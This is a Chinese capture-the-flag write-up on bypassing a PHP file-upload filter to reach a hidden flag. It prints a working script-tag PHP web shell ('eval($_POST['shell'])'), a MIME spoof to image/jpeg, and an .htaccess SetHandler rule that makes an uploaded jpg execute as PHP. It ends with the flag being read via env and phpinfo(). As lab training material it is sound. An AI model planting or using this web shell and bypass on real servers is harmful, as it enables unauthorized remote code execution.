知识点:
文件上传 MIME绕过
script版本一句话木马
.htaccess配置文件
蚁剑虚拟终端的使用
打开题目可以文件上传
传入php文件, 提示 后缀不能是ph 所以也不能输入 phtml php3 pht等可以解析为php文件的后缀
bp抓包把传入的php木马文件后缀手动修改为jpg图片格式 提示 你上传的什么鬼?
然后不抓包修改直接传入jpg格式的一句话木马文件,再次测试, 得到提示: 还是换个其他类型吧
提示改变了,错误程度也变轻了,所以初步判断是对MIME进行了过滤
即Content-Type 需要是jpeg 或者png等图片格式
简单测试发现只能是jpg格式,即 Content-Type: image/jpeg 其他格式会抛出之前的错误
虽然满足了MIME类型,但是jpg图片目前也无法上传,应该对文件传入的内容也进行了过滤
把文件里的php代码全部删除,发现成功上传 进一步测试,只删除?php,发现也成功上传
只删除php,保留 <? 发现上传失败 提示 还是换个其他类型吧
得出结论,题目对 上传文件后缀 MIME类型 以及 文件内容中的<? 和 <?php 组合进行了限制
可以使用script版本的一句话木马
<script language='php'>eval($_POST['shell']);</script>
然后上传.htaccess配置文件,即可解析上传的jpg文件中的php代码
.htaccess文件内容
<FilesMatch "muma.jpg"> //上传的文件名
SetHandler application/x-httpd-php
</FilesMatch>
SetHandler application/x-http-php的意思是,对于名为 muma.jpg
的文件,Apache 将其作为一个 PHP 脚本来处理,当做PHP代码执行
上传.htaccess文件 修改MIME
然后上传script一句话木马文件(上传顺序无所谓)
/var/www/html/upload/74cf45b7045c9ba3f46894576666604b/muma.jpg succesfully uploaded!
蚁剑连接
html目录没有flag文件
根目录有一个flag文件,但是里面没有flag
一般flag文件都会放在根目录下,或者当前目录,又或者藏在phpinfo()页面和环境变量中
在蚁剑中就可以查看环境变量,鼠标右键打开虚拟终端,在bash中输入env即可查看得到flag
也可以post请求访问phpinfo()页面 post传参 shell=phpinfo();
成功访问phpinfo()页面,搜索关键词flag,得到flag
还是直接虚拟终端输入命令查看更方便